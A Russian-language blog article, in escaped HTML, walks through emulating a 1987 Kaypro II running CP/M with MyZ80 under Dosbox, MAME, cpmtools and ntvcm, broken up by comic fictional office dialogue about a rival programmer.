  &lt;h2 id=&quot;NSj6&quot;&gt;ЭМУЛЯЦИЯ&lt;/h2&gt;
  &lt;p id=&quot;LQ8S&quot;&gt;Нетрудно догадаться, что настоящего микрокомпьютера из 1987 года у меня никогда не было, поскольку в те годы я успел только-только появиться на свет.&lt;/p&gt;
  &lt;blockquote id=&quot;q6p4&quot;&gt;Поэтому большая часть описываемых ниже приключений снова будут происходить в эмуляции.&lt;/blockquote&gt;
  &lt;p id=&quot;KVwD&quot;&gt;«Большая часть» — потому что &lt;strong&gt;действующий&lt;/strong&gt; компьютер 80х я все же нашел и даже смог запустить на нем собранное приложение. &lt;/p&gt;
  &lt;p id=&quot;Gjn8&quot;&gt;Содержание статьи сразу заиграло новыми красками, правда?&lt;/p&gt;
  &lt;p id=&quot;xmFp&quot;&gt;Вообще 8-битные микрокомпьютеры быстро завоевали популярность, фактически создав новый рынок домашней электроники и оставив заметный след &lt;s&gt;рваную рану&lt;/s&gt; в юных сердцах. &lt;/p&gt;
  &lt;p id=&quot;LlpG&quot;&gt;Благодарные пользователи, убившие детство на первые компьютерные игры и выросшие затем в бородатых программистов, наклепали горы самых разных эмуляторов этих машин.&lt;/p&gt;
  &lt;p id=&quot;C5Ws&quot;&gt;Я отобрал для вас &lt;strong&gt;три&lt;/strong&gt; абсолютно разных эмулятора, для максимального погружения в тему микрокомпьютеров и эстетику 80х.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;oP9V&quot;&gt;В качестве тестовой среды на этот раз использовался обычный Mageia Linux, чтобы не отвлекать внимание читателей на любимую FreeBSD.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;EejF&quot;&gt;Кстати вот &lt;a href=&quot;http://www.retroarchive.org/maslin/disks/kaypro/&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt; находится очень интересная подборка образов дискет для компьютеров Kaypro, включая &lt;strong&gt;исходники&lt;/strong&gt; — на случай, если статьи покажется мало и захотите продолжить банкет.&lt;/p&gt;
  &lt;h2 id=&quot;T0mf&quot;&gt;MYZ80&lt;/h2&gt;
  &lt;p id=&quot;cX5v&quot;&gt;Начнем с самого &lt;s&gt;отбитого&lt;/s&gt; &lt;a href=&quot;http://www.gaby.de/ftp/pub/cpm/znode51/specials/myz80.htm&quot; target=&quot;_blank&quot;&gt;хардкорного&lt;/a&gt;. &lt;/p&gt;
  &lt;p id=&quot;cQ1r&quot;&gt;Перед вами настоящий дедушка эмуляции — &lt;em&gt;действующий&lt;/em&gt; эмулятор CP/M, написанный в 1991м году под MS-DOS:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;tOag&quot;&gt;MyZ80 does more than just emulate the CPU though, it&amp;#x27;s a &lt;strong&gt;complete Z80 computer emulation&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;41qR&quot;&gt;Этот эмулятор когда-то был коммерческим продуктом — «shareware», хотя и без каких-либо технических ограничений. Исходного кода найти не удалось, так что использовать будем его готовую сборку.&lt;/p&gt;
  &lt;p id=&quot;NQsi&quot;&gt;Один из отзывов, благодаря которому эту штуку вообще удалось отыскать в современном интернете:&lt;/p&gt;
  &lt;blockquote id=&quot;N0QF&quot;&gt;This is one of the few PC CP/M simulators which appears to actually Boot &lt;br /&gt;CP/M and not a &amp;quot;CP/M like command interpreter&amp;quot;, thereby allowing you to &lt;br /&gt;see what the operating environment actually looked like.&lt;/blockquote&gt;
  &lt;p id=&quot;wqtt&quot;&gt;Шарму добавляет адрес для обратной связи — в &lt;a href=&quot;https://en.wikipedia.org/wiki/FidoNet&quot; target=&quot;_blank&quot;&gt;сети FIDO&lt;/a&gt;:&lt;/p&gt;
  &lt;blockquote id=&quot;8cai&quot;&gt;Via FIDONET: direct to my point 3:640/208.3. &lt;br /&gt;c/o Z-Node 62, Perth, Western Australia (3:690/718). &lt;br /&gt;BBS number: From Australia: 09 450 0200. &lt;br /&gt;From outside Australia: Overseas access number +619 450 0200.&lt;/blockquote&gt;
  &lt;p id=&quot;gj5I&quot;&gt;&lt;a href=&quot;http://www.gaby.de/ftp/pub/cpm/znode51/specials/myz80.htm&quot; target=&quot;_blank&quot;&gt;Ссылка&lt;/a&gt; указанная выше, на самом деле лишь сохраненная копия сайта автора, поскольку и сайт и сам проект были давным давно заброшены.&lt;/p&gt;
  &lt;p id=&quot;Dee1&quot;&gt;Все ссылки для скачивания битые, но нужный файлик &lt;code&gt;myz80124.zip&lt;/code&gt; со сборкой эмулятора легко находится в сети, можно скачать например &lt;a href=&quot;http://www.z80.eu/myz80cpm.html&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;2yRJ&quot;&gt;Скачиваем и распаковываем:&lt;/p&gt;
  &lt;pre id=&quot;L4hK&quot; data-lang=&quot;bash&quot;&gt;wget http://www.z80.eu/downloads/myz80124.zip
mkdir myz80cpm &amp;amp;&amp;amp; cd myz80cpm
unzip ../myz80124.zip&lt;/pre&gt;
  &lt;p id=&quot;vdhJ&quot;&gt;Внутри будет весьма необычный для современности набор файлов:&lt;/p&gt;
  &lt;figure id=&quot;Xmaz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/27/c9/27c98659-1503-493a-8a53-681ed94e5612.png&quot; width=&quot;940&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8gHF&quot;&gt;&lt;strong&gt;MYZ80.EXE&lt;/strong&gt; — очевидный бинарник эмулятора, но проблема в том что это &lt;em&gt;16-битное приложение&lt;/em&gt; для DOS, запустить которое в современном окружении представляет проблему. &lt;/p&gt;
  &lt;p id=&quot;50V2&quot;&gt;Так что придется использовать еще один известный эмулятор — &lt;a href=&quot;https://www.dosbox.com/&quot; target=&quot;_blank&quot;&gt;Dosbox&lt;/a&gt;, чтобы запустить внутри винтажный &lt;code&gt;MYZ80&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;98NP&quot;&gt;Dosbox присутствует в пакетах большинства операционных систем , для моей Mageia установка выглядит вот так:&lt;/p&gt;
  &lt;pre id=&quot;mhyT&quot; data-lang=&quot;bash&quot;&gt;urpmi dosbox&lt;/pre&gt;
  &lt;p id=&quot;Z0Et&quot;&gt;А так эта «матрешка» выглядит в работе:&lt;/p&gt;
  &lt;figure id=&quot;ATpA&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/52/af52e20d-0521-4962-b0c5-5246c28b8056.png&quot; width=&quot;652&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gO1X&quot;&gt;Самое важное, ради чего были нужны заморочки аж с двумя эмуляторами — виртуальные диски, связанные с файловой системой DOS:&lt;/p&gt;
  &lt;figure id=&quot;ijPy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e1/1a/e11adbe5-52a2-4ade-9000-11aad6f0b4e5.png&quot; width=&quot;652&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NNgX&quot;&gt;Поскольку Dosbox в свою очередь дает виртуализацию дисков непосредственно из хоста — получаем отличный способ быстро перебрасывать файлы в виртуальную CP/M.&lt;/p&gt;
  &lt;blockquote id=&quot;ojks&quot;&gt;Что важно при любой разработке с использованием эмулятора.&lt;/blockquote&gt;
  &lt;p id=&quot;8UVz&quot;&gt;Собственно, то самое тестовое приложение &lt;code&gt;EXMPL.COM&lt;/code&gt; на заглавной картинке было сначала скопировано в каталог с эмулятором:&lt;/p&gt;
  &lt;pre id=&quot;6E3Q&quot; data-lang=&quot;bash&quot;&gt;cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .&lt;/pre&gt;
  &lt;p id=&quot;IxZD&quot;&gt;Затем импортировано в виртуальный диск CP/M:&lt;/p&gt;
  &lt;figure id=&quot;byBP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/06/ae065b8c-a1f0-4c90-9b31-3340d1a146e0.png&quot; width=&quot;652&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RYEG&quot;&gt;И запущено уже в CP/M. &lt;/p&gt;
  &lt;p id=&quot;2E85&quot;&gt;Все это проще и быстрее, нежели описываемый ниже вариант с Mame и полной эмуляцией Kaypro II, но к сожалению не дает того самого «ощущения от использования», что это реальная машина тех лет.&lt;/p&gt;
  &lt;p id=&quot;WS2L&quot;&gt;Так что я пошел дальше в своих изысканиях.&lt;/p&gt;
  &lt;p id=&quot;PkQ3&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;o3ZD&quot;&gt;— Интересное предложение.&lt;/p&gt;
  &lt;p id=&quot;mbUP&quot;&gt;— Проучить коллегу по опасному инженерному делу, за приличные деньги..&lt;/p&gt;
  &lt;p id=&quot;9kqU&quot;&gt;Моему гостю этого знать не следовало, но я готов был таким заниматься совершенно бесплатно и на регулярной основе.&lt;/p&gt;
  &lt;p id=&quot;4147&quot;&gt;— ..путем разработки под столь винтажный компьютер. &lt;/p&gt;
  &lt;p id=&quot;9X1k&quot;&gt;— Практически совершить уринотерапию..&lt;/p&gt;
  &lt;p id=&quot;23AK&quot;&gt;— Боюсь, уринотерапия тут не поможет — коллега все же имеет немецкие корни. У каждой нации свои.. культурные особенности. &lt;/p&gt;
  &lt;p id=&quot;7OWp&quot;&gt;— Ну да ладно.&lt;/p&gt;
  &lt;p id=&quot;PWvK&quot;&gt;— Обсудим конкретику?&lt;/p&gt;
  &lt;p id=&quot;yAtI&quot;&gt;..&lt;/p&gt;
  &lt;h2 id=&quot;L5sg&quot;&gt;MAME&lt;/h2&gt;
  &lt;p id=&quot;5eD3&quot;&gt;Mame это очень &lt;a href=&quot;https://www.mamedev.org/&quot; target=&quot;_blank&quot;&gt;известный эмулятор&lt;/a&gt; самых разных машин и архитектур, как устаревших так и современных, когда-то созданный ради запуска игор, выгруженных из старых игровых автоматов.&lt;/p&gt;
  &lt;blockquote id=&quot;5yNJ&quot;&gt;С помощью Mame, мы получим почти настоящий Kaypro II, с оригинальным ROM и оригинальным образом загрузочной дискеты с CP/M — прямо из 80х.&lt;/blockquote&gt;
  &lt;p id=&quot;Gw9y&quot;&gt;Mame присутствует в пакетах многих дистрибутивов Linux и BSD, для Mageia устанавливается командой:&lt;/p&gt;
  &lt;pre id=&quot;mckT&quot;&gt;urpmi mame&lt;/pre&gt;
  &lt;p id=&quot;XwTe&quot;&gt;Дальше нужно будет скачать загрузочный образ 5.25-дискеты с CP/M 2.2, например &lt;a href=&quot;https://winworldpc.com/product/cp-m-80/22&quot; target=&quot;_blank&quot;&gt;отсюда&lt;/a&gt;, затем специальные ROM-файлы для самого Kaypro II и его весьма специфической клавиатуры, &lt;a href=&quot;https://archive.org/download/mame251&quot; target=&quot;_blank&quot;&gt;отсюда&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;cWMh&quot;&gt;Архивы называются &lt;code&gt;kayproii.zip&lt;/code&gt; и &lt;code&gt;kaypro10kbd.zip&lt;/code&gt;, их необходимо копировать как есть, &lt;em&gt;не распаковывая&lt;/em&gt;.&lt;/p&gt;
  &lt;p id=&quot;7LmA&quot;&gt;Создаем структуру каталогов:&lt;/p&gt;
  &lt;pre id=&quot;yYNY&quot; data-lang=&quot;bash&quot;&gt;mkdir kayproii-machine &amp;amp;&amp;amp; cd kayrpoii-machine
mkdir roms disks&lt;/pre&gt;
  &lt;p id=&quot;tv7I&quot;&gt;Копируем ROM-файлы:&lt;/p&gt;
  &lt;pre id=&quot;NBpT&quot; data-lang=&quot;bash&quot;&gt;cp ~/Downloads/kaypro*.zip ./roms/&lt;/pre&gt;
  &lt;p id=&quot;dM0I&quot;&gt;Распаковываем образ дискеты:&lt;/p&gt;
  &lt;pre id=&quot;jMCH&quot; data-lang=&quot;bash&quot;&gt;7z e ~/Downloads/KAYPRO\ II\ 64k\ CPM\ vers\ 2.2.7z -o./disks/&lt;/pre&gt;
  &lt;p id=&quot;jvCG&quot;&gt;Запускаем:&lt;/p&gt;
  &lt;pre id=&quot;Cjtv&quot; data-lang=&quot;bash&quot;&gt;mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD&lt;/pre&gt;
  &lt;p id=&quot;ZpKN&quot;&gt;Если все шаги выполнены правильно, появится заставка Mame с описанием эмулируемой машины:&lt;/p&gt;
  &lt;figure id=&quot;Xz1Z&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a6/64/a664ce33-2e1d-4a82-889a-7e384fb93219.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zEbo&quot;&gt;После нажатия любой клавиши, загрузится сама CP/M и вы увидите такое приглашение:&lt;/p&gt;
  &lt;figure id=&quot;1kIX&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/83/33/83332090-d1a8-4ee5-8b90-bc088db54e02.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dpma&quot;&gt;Если сейчас выключить эмулятор и запустить снова — обнаружится, что система восстановила состояние на момент выключения, некий аналог режима сна в современных ноутбуках.&lt;/p&gt;
  &lt;p id=&quot;9976&quot;&gt;В большинстве случаев это помогает работе, но временами может мешать.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ZZ9W&quot;&gt;Особенно если учесть, что в 1987м не было подсистемы управления питанием (&lt;a href=&quot;https://en.wikipedia.org/wiki/ACPI&quot; target=&quot;_blank&quot;&gt;ACPI&lt;/a&gt;) и компьютеры выключались по нажатию кнопки на корпусе.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;3CZw&quot;&gt;Никаких вам &lt;code&gt;shutdown now&lt;/code&gt; или &lt;code&gt;halt&lt;/code&gt;, только железная кнопка, только хардкор.&lt;/p&gt;
  &lt;p id=&quot;QacE&quot;&gt;Чтобы сбросить сохраненное состояние — если оно вдруг начнет мешать, достаточно удалить этот файл в каталоге с настройками:&lt;/p&gt;
  &lt;pre id=&quot;8swR&quot; data-lang=&quot;bash&quot;&gt;rm ~/.mame/sta/kayproii/auto.sta&lt;/pre&gt;
  &lt;p id=&quot;1sri&quot;&gt;Теперь расскажу про еще один важный нюанс, на изучение которого было убито больше всего времени и сил, чем на всю эту статью.&lt;/p&gt;
  &lt;figure id=&quot;gkeY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e8/00/e800ecf6-eac7-466b-9734-e0f132311ee5.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Обложка дискеты с компилятором BASIC для компьютеров Kaypro.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;lwMz&quot;&gt;ФОРМАТ ФЛОППИ&lt;/h2&gt;
  &lt;p id=&quot;IVEf&quot;&gt;Существует определенная хитрость с форматированием дискет для CP/M под Mame, связанная как с особенностями реализации в самом Mame, так и со &lt;a href=&quot;https://www.retrocmp.de/kaypro/kay-p21_faq.htm#fdd-001&quot; target=&quot;_blank&quot;&gt;спецификой Kaypro&lt;/a&gt;. &lt;/p&gt;
  &lt;blockquote id=&quot;OFZe&quot;&gt;Да в те далекие времена существовали &lt;strong&gt;разные&lt;/strong&gt;, несовместимые между собой форматы дискет.&lt;/blockquote&gt;
  &lt;p id=&quot;6aRu&quot;&gt;У меня не получилось подцепить в Mame образ дискеты, созданный в &lt;code&gt;cpmtools&lt;/code&gt; (см. ниже) и описанный ниже вариант оказался &lt;strong&gt;единственным работающим&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;yHKE&quot;&gt;При запуске Mame нажимаем Tab, открывается меню системное меню:&lt;/p&gt;
  &lt;figure id=&quot;CQHk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9c/b2/9cb2c5fb-1571-4116-9176-d1148725197b.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VFAi&quot;&gt;Выбираем пункт &lt;code&gt;File Manager&lt;/code&gt;, затем выбираем &lt;code&gt;floppydisk2&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;gO8R&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/59/99/59996a3c-0cb8-4717-a655-efc628c18f23.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QQr6&quot;&gt;Задаем название, с обязательным указанием расширения &lt;code&gt;.dsk&lt;/code&gt;, выбираем формат &lt;code&gt;kaypro2&lt;/code&gt;: &lt;/p&gt;
  &lt;figure id=&quot;Wehd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2a/c6/2ac6e178-aa12-4380-9bfe-c2406b5b77a4.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Vr7j&quot;&gt;Cозданный образ дискеты должен появиться в каталоге, из которого запускался эмулятор.&lt;/p&gt;
  &lt;p id=&quot;xEIL&quot;&gt;Запускаем повторно, с указанием созданного диска:&lt;/p&gt;
  &lt;pre id=&quot;ObBu&quot; data-lang=&quot;bash&quot;&gt;mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk&lt;/pre&gt;
  &lt;p id=&quot;mfOS&quot;&gt;Уже из CP/M запускаем программу форматирования:&lt;/p&gt;
  &lt;pre id=&quot;564w&quot; data-lang=&quot;bash&quot;&gt;initdisk &lt;/pre&gt;
  &lt;p id=&quot;ICoF&quot;&gt;Выбираем формат диска для Kaypro, он идет самым первым в списке, поэтому нажимаем &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;gVpi&quot;&gt;Программа форматирования сама выберет диск B, запустится форматирование: &lt;/p&gt;
  &lt;figure id=&quot;kvsY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/11/b2/11b2f632-78dc-43f6-ac52-1c8648ac38c4.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6BrT&quot;&gt;После форматирования, можно перейти на диск B и убедиться что он читается, хотя и не содержит файлов:&lt;/p&gt;
  &lt;figure id=&quot;46ig&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4f/f9/4ff9a658-3f65-4872-b1b6-55d478c60a03.png&quot; width=&quot;1148&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;W5hn&quot;&gt;Выключаем эмулятор и приступаем ко второй части концертной программы — разборками с пакетом &lt;code&gt;cpmtools&lt;/code&gt;, для того чтобы записывать файлы с хоста на созданный образ дискеты.&lt;/p&gt;
  &lt;p id=&quot;BjTG&quot;&gt;Кстати образ с пустым, отформатированным под Kaypro II  диском рекомендую сохранить, поскольку любая ошибка при работе с &lt;code&gt;cpmtools&lt;/code&gt; (например если забыть указать формат &lt;code&gt;-f kpii&lt;/code&gt;) этот диск убивает. &lt;/p&gt;
  &lt;p id=&quot;Dwft&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;Wtm9&quot;&gt;— Да все просто.&lt;/p&gt;
  &lt;p id=&quot;d6Hu&quot;&gt;Если бы мне давали доллар каждый раз, когда я слышу эту фразу — давно бы стал миллионером..&lt;/p&gt;
  &lt;p id=&quot;P3zB&quot;&gt;— Наш коллега из организации, назовем его для простоты доктор Кригер, свято уверен, что только он один может.. как это он выразился? &lt;/p&gt;
  &lt;p id=&quot;70z5&quot;&gt;«Создать новую электронную жизнь в древнем компьютерном теле».&lt;/p&gt;
  &lt;p id=&quot;Nuoh&quot;&gt;— Надеюсь, ваш коллега хотя-бы вводит код руками, а не другим органом. &lt;/p&gt;
  &lt;p id=&quot;e65i&quot;&gt;Гость посмотрев с удивлением, ненадолго задумался.&lt;/p&gt;
  &lt;p id=&quot;LWH0&quot;&gt;— Какая интересная мысль.&lt;/p&gt;
  &lt;p id=&quot;FkrF&quot;&gt;— Я уже упоминал, что вы с ним похожи?&lt;/p&gt;
  &lt;p id=&quot;pa1z&quot;&gt;..&lt;/p&gt;
  &lt;h2 id=&quot;TMbd&quot;&gt;CPMTOOLS&lt;/h2&gt;
  &lt;p id=&quot;gXhx&quot;&gt;Это весьма известный &lt;a href=&quot;https://www.moria.de/~michael/cpmtools/&quot; target=&quot;_blank&quot;&gt;набор инструментов&lt;/a&gt; для работы с файловыми системами CP/M, за авторством &lt;a href=&quot;https://www.moria.de/~michael/cv.html&quot; target=&quot;_blank&quot;&gt;Michael Haardt&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;K5E1&quot;&gt;К сожалению работа над оригинальным проектом прекращена, так что мы будем использовать &lt;a href=&quot;https://github.com/lipro-cpm4l/cpmtools&quot; target=&quot;_blank&quot;&gt;более современный форк&lt;/a&gt;, уже из Github:&lt;/p&gt;
  &lt;pre id=&quot;Krki&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/lipro-cpm4l/cpmtools.git&lt;/pre&gt;
  &lt;p id=&quot;2kU2&quot;&gt;Собираем и запускаем сборку:&lt;/p&gt;
  &lt;pre id=&quot;aLlp&quot; data-lang=&quot;bash&quot;&gt;./configure
make&lt;/pre&gt;
  &lt;p id=&quot;2HEx&quot;&gt;В результате сборки появится несколько бинарников, готовых к запуску:&lt;/p&gt;
  &lt;figure id=&quot;gzO9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4a/97/4a97fcc6-8f90-45e0-9d33-447095657a84.png&quot; width=&quot;1131&quot; /&gt;
    &lt;figcaption&gt;Думаю даже по названию нетрудно догадаться об их предназначении. &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TFZK&quot;&gt;Для всех последующих увеселений будут использоваться в основном эти два: &lt;code&gt;cpmls&lt;/code&gt; и &lt;code&gt;cpmcp&lt;/code&gt;. &lt;/p&gt;
  &lt;blockquote id=&quot;bktr&quot;&gt;Первый предназначен для просмотра содержимого образа диска, второй — для копирования внутрь файлов с хоста.&lt;/blockquote&gt;
  &lt;p id=&quot;9Yld&quot;&gt;Копируем созданный образ диска в текущий каталог:&lt;/p&gt;
  &lt;pre id=&quot;EU9C&quot; data-lang=&quot;bash&quot;&gt;cp ../../work/kayproii-machine/test2.dsk .&lt;/pre&gt;
  &lt;p id=&quot;sK4y&quot;&gt;Проверяем что диск читается:&lt;/p&gt;
  &lt;pre id=&quot;sK4y&quot; data-lang=&quot;bash&quot;&gt;./cpmls -f kpii test2.dsk&lt;/pre&gt;
  &lt;p id=&quot;mj2m&quot;&gt;Копируем тестовый файл&lt;/p&gt;
  &lt;pre id=&quot;tCNV&quot; data-lang=&quot;bash&quot;&gt;./cpmcp -f kpii test2.dsk README 0:README.TXT&lt;/pre&gt;
  &lt;p id=&quot;GidO&quot;&gt;Повторный запуск &lt;code&gt;cpmpls&lt;/code&gt; должен показать содержимое диска с тестовым файлом:&lt;/p&gt;
  &lt;figure id=&quot;I843&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9d/bd/9dbdc07a-6f88-442c-b0ab-9a5423a24e73.png&quot; width=&quot;1131&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;8vkQ&quot;&gt;NTVCM&lt;/h2&gt;
  &lt;p id=&quot;JDjL&quot;&gt;Наконец &lt;a href=&quot;https://github.com/davidly/ntvcm&quot; target=&quot;_blank&quot;&gt;последний эмулятор CP/M&lt;/a&gt;, который тоже придется использовать, хотя и опосредованно:&lt;/p&gt;
  &lt;blockquote id=&quot;XqwB&quot;&gt;Virtual CP/M Machine. Emulates CP/M and the 8080/Z80 on Linux, MacOS, Windows, and real-mode 8086 DOS to run CP/M .com files&lt;/blockquote&gt;
  &lt;p id=&quot;0kGv&quot;&gt;Кстати последний он еще и в том смысле, что это &lt;strong&gt;новая разработка&lt;/strong&gt;, созданная (судя по коммитам) буквально пару лет назад. &lt;/p&gt;
  &lt;p id=&quot;us9y&quot;&gt;Созданная, для того чтобы эмулировать систему из 80х, представляете?&lt;/p&gt;
  &lt;p id=&quot;2jrr&quot;&gt;Этот самый &lt;code&gt;ntvcm&lt;/code&gt; придется собрать и добавить в переменную &lt;code&gt;PATH&lt;/code&gt;, поскольку эмулятор создан тем же автором, что собрал репозиторий с компиляторами под CP/M и используется из скриптов для тестов и.. кросс-компиляции. &lt;/p&gt;
  &lt;p id=&quot;0U9B&quot;&gt;Под CP/M, ага.&lt;/p&gt;
  &lt;p id=&quot;Dnpr&quot;&gt;Шаги простые и очевидные:&lt;/p&gt;
  &lt;pre id=&quot;x75s&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/davidly/ntvcm.git
cd ntvcm
make&lt;/pre&gt;
  &lt;p id=&quot;eork&quot;&gt;Дальше просто добавляете этот каталог в переменную PATH:&lt;/p&gt;
  &lt;pre id=&quot;DMHl&quot; data-lang=&quot;bash&quot;&gt;export PATH=$PWD:$PATH&lt;/pre&gt;
  &lt;p id=&quot;fkHv&quot;&gt;На этом подготовка к &lt;s&gt;оргии&lt;/s&gt; празднику древней разработки наконец завершена и мы снова переносимся обратно в офис.&lt;/p&gt;
  &lt;p id=&quot;Apww&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;BvhF&quot;&gt;— Короче, коллега Кригер считает, что только он один в силах что-то написать для нашего Kaypro II.&lt;/p&gt;
  &lt;p id=&quot;8XG8&quot;&gt;— Что вообщем-то правда, поскольку остальные умеют все эти ваши компьютеры только включать и выключать. &lt;/p&gt;
  &lt;p id=&quot;uukB&quot;&gt;— Обычно пинком.&lt;/p&gt;
  &lt;p id=&quot;XdsB&quot;&gt;Тут мой гость понял, что наверное не стоило показывать зависимость от будущего исполнителя.&lt;/p&gt;
  &lt;p id=&quot;Z40Z&quot;&gt;— Но разумеется, у нашей организации есть и другие варианты. &lt;/p&gt;
  &lt;p id=&quot;7lGQ&quot;&gt;— Пробовали привлекать «юные дарования», как самые перспективные. Закончилось.. не очень хорошо. &lt;/p&gt;
  &lt;p id=&quot;LpB6&quot;&gt;Достав из внутреннего кармана пиджака конверт, гость выложил на стол несколько фотографий.. полных неописуемого ужаса.&lt;/p&gt;
  &lt;p id=&quot;Tlwn&quot;&gt;— Бедный парень.. это же парень, правда?&lt;/p&gt;
  &lt;p id=&quot;B4VG&quot;&gt;Увиденное на фото заставило шевелиться последние остатки волос.&lt;/p&gt;
  &lt;p id=&quot;40Kd&quot;&gt;— Когда его нашли, он был в бреду и ползал в ванной, обмазавшись собственными экскрементами. &lt;/p&gt;
  &lt;p id=&quot;gCZ4&quot;&gt;— Весь пол, стены и даже потолок были изрисованы чем-то коричневым — символами, похожими на египетские иероглифы:&lt;/p&gt;
  &lt;figure id=&quot;zn1A&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/68/2b/682b0a12-2865-4fa5-af53-e7c621a8a9d6.gif&quot; width=&quot;1003&quot; /&gt;
    &lt;figcaption&gt;All 24 and 28 pins EPROM pinout 2708 - 27512. &lt;a href=&quot;http://www.z80.info/&quot; target=&quot;_blank&quot;&gt;Отсюда&lt;/a&gt;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NuP5&quot;&gt;— Это распиновка EPROM, для Z80.&lt;/p&gt;
  &lt;p id=&quot;9Wld&quot;&gt;— Хм, гляжу вы действительно разбираетесь.&lt;/p&gt;
  &lt;p id=&quot;RX9D&quot;&gt;Тут гость привлек мое внимание, указав на одну из фотографий.&lt;/p&gt;
  &lt;p id=&quot;1mSi&quot;&gt;— Вот здесь, на стене было загадочное послание, оставленное.. аналогичным способом. &lt;/p&gt;
  &lt;p id=&quot;XSJJ&quot;&gt;— Но его смысл мы так и не смогли разгадать.&lt;/p&gt;
  &lt;p id=&quot;DGpO&quot;&gt;Я пригляделся к фотографии: &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;g1UX&quot; data-align=&quot;center&quot;&gt;640КБ ХВАТИТ НА ВСЕХ&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zRVs&quot;&gt;— Нет идей что бы это могло значить?&lt;/p&gt;
  &lt;figure id=&quot;KzVR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/a8/faa83d35-b33f-416c-b464-a9d338bc4cc6.jpeg&quot; width=&quot;1200&quot; /&gt;
    &lt;figcaption&gt;Пол Аллен и юный Гейтс за четыре года до основания Microsoft.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;PuuW&quot;&gt;НЕПРЕРЫВНОЕ ВЕСЕЛЬЕ&lt;/h2&gt;
  &lt;p id=&quot;VKa2&quot;&gt;Возвращаясь к тому адскому репозиторию с компиляторами, наконец рассказываю основное: &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;sKGE&quot;&gt;как &lt;s&gt;современному ребенку&lt;/s&gt; вести разработку для компьютера из 1987 года.&lt;/p&gt;
  &lt;/section&gt;
